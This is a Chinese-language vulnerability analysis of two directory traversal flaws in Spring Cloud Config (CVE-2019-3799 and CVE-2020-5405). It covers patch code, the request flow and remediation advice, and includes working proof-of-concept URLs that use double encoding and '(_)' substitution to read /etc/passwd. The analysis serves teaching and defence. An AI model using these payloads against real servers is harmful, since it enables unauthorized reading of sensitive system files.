spring-cloud-config目录穿越漏洞分析
字数 1368 2025-08-25 22:58:35

Spring Cloud Config 目录穿越漏洞分析教学文档

漏洞概述

本文档详细分析Spring Cloud Config中的两个目录穿越漏洞:CVE-2019-3799和CVE-2020-5405。这两个漏洞都允许攻击者通过精心构造的URL路径读取服务器上的任意文件。

CVE-2019-3799分析

漏洞原理

该漏洞存在于Spring Cloud Config Server的文件资源检索功能中,由于对用户提供的路径参数未进行充分验证,导致可以通过路径遍历读取系统任意文件。

补丁分析

补丁位置: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

补丁主要增加了两个安全检测函数:

  1. isInvalidEncodedPath - 检测URL编码的路径
private boolean isInvalidEncodedPath(String path) {
    if (path.contains("%")) {
        try {
            // 使用URLDecoder解码以保留潜在的UTF-8字符
            String decodedPath = URLDecoder.decode(path, "UTF-8");
            if (isInvalidPath(decodedPath)) {
                return true;
            }
            decodedPath = processPath(decodedPath);
            if (isInvalidPath(decodedPath)) {
                return true;
            }
        } catch (IllegalArgumentException | UnsupportedEncodingException ex) {
            // 不应该发生...
        }
    }
    return false;
}
  1. isInvalidPath - 检测路径中的危险字符
protected boolean isInvalidPath(String path) {
    if (path.contains("WEB-INF") || path.contains("META-INF")) {
        if (logger.isWarnEnabled()) {
            logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
        }
        return true;
    }
    if (path.contains(":/")) {
        String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
        if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
            if (logger.isWarnEnabled()) {
                logger.warn("Path represents URL or has \"url:\" prefix: [" + path + "]");
            }
            return true;
        }
    }
    if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
        if (logger.isWarnEnabled()) {
            logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]");
        }
        return true;
    }
    return false;
}

漏洞利用点

漏洞主要出现在findOne方法中,通过回溯调用链:

  1. retrieve方法处理HTTP请求:
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile, 
                      @PathVariable String label, HttpServletRequest request,
                      @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
    throws IOException {
    String path = getFilePath(request, name, profile, label);
    return retrieve(name, profile, label, path, resolvePlaceholders);
}
  1. path参数完全可控,来自URL中的**部分

  2. 最终在文件读取时,浏览器和openConnection会各进行一次URL解码,导致双重解码漏洞

POC构造

利用双重解码特性构造payload:

http://127.0.0.1:8888/aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd

解码过程:

  1. 第一次解码:%25 -> %
  2. 第二次解码:%2F -> /
    最终得到路径:../../../../../../../../../../../etc/passwd

CVE-2020-5405分析

漏洞原理

这是对CVE-2019-3799的绕过,利用了Spring Cloud Config对(_)的特殊处理机制。

补丁分析

补丁位置: https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0

补丁扩展了检测范围,不仅检测path参数,还检测整个路径。

漏洞利用点

  1. 发现namelabel中的(_)会被替换为/
if (name != null && name.contains("(_)")) {
    name = name.replace("(_)", "/");
}
if (label != null && label.contains("(_)")) {
    label = label.replace("(_)", "/");
}
  1. 构造特殊label实现路径穿越:
http://127.0.0.1:8888/aaaa/aaaa/%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%65%74%63/passwd

解码后label变为:..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc
替换后变为:../../../../../../../../../etc

配置绕过

默认配置使用MultipleJGitEnvironmentRepository会触发checkout异常,需要通过配置改为本地文件系统模式:

application.properties配置:

spring.profiles.active=native
spring.cloud.config.server.native.search-locations=file:/path/to/directory

这样会使用NativeEnvironmentRepository,直接读取本地文件而不进行git操作。

漏洞修复建议

  1. 升级到已修复版本
  2. 严格限制配置服务器的访问权限
  3. 避免在search-locations中使用敏感目录

总结

这两个漏洞展示了路径处理中的常见安全问题:

  1. 双重解码导致的路径遍历
  2. 特殊字符替换导致的路径拼接问题
  3. 不同配置模式下的安全差异

开发时应特别注意路径处理中的编码问题和特殊字符替换逻辑。

Spring Cloud Config 目录穿越漏洞分析教学文档 漏洞概述 本文档详细分析Spring Cloud Config中的两个目录穿越漏洞:CVE-2019-3799和CVE-2020-5405。这两个漏洞都允许攻击者通过精心构造的URL路径读取服务器上的任意文件。 CVE-2019-3799分析 漏洞原理 该漏洞存在于Spring Cloud Config Server的文件资源检索功能中,由于对用户提供的路径参数未进行充分验证,导致可以通过路径遍历读取系统任意文件。 补丁分析 补丁位置: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2 补丁主要增加了两个安全检测函数: isInvalidEncodedPath - 检测URL编码的路径 isInvalidPath - 检测路径中的危险字符 漏洞利用点 漏洞主要出现在 findOne 方法中,通过回溯调用链: retrieve 方法处理HTTP请求: path 参数完全可控,来自URL中的 ** 部分 最终在文件读取时,浏览器和 openConnection 会各进行一次URL解码,导致双重解码漏洞 POC构造 利用双重解码特性构造payload: 解码过程: 第一次解码: %25 -> % 第二次解码: %2F -> / 最终得到路径: ../../../../../../../../../../../etc/passwd CVE-2020-5405分析 漏洞原理 这是对CVE-2019-3799的绕过,利用了Spring Cloud Config对 (_) 的特殊处理机制。 补丁分析 补丁位置: https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0 补丁扩展了检测范围,不仅检测path参数,还检测整个路径。 漏洞利用点 发现 name 和 label 中的 (_) 会被替换为 / : 构造特殊label实现路径穿越: 解码后label变为: ..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc 替换后变为: ../../../../../../../../../etc 配置绕过 默认配置使用 MultipleJGitEnvironmentRepository 会触发checkout异常,需要通过配置改为本地文件系统模式: application.properties 配置: 这样会使用 NativeEnvironmentRepository ,直接读取本地文件而不进行git操作。 漏洞修复建议 升级到已修复版本 严格限制配置服务器的访问权限 避免在search-locations中使用敏感目录 总结 这两个漏洞展示了路径处理中的常见安全问题: 双重解码导致的路径遍历 特殊字符替换导致的路径拼接问题 不同配置模式下的安全差异 开发时应特别注意路径处理中的编码问题和特殊字符替换逻辑。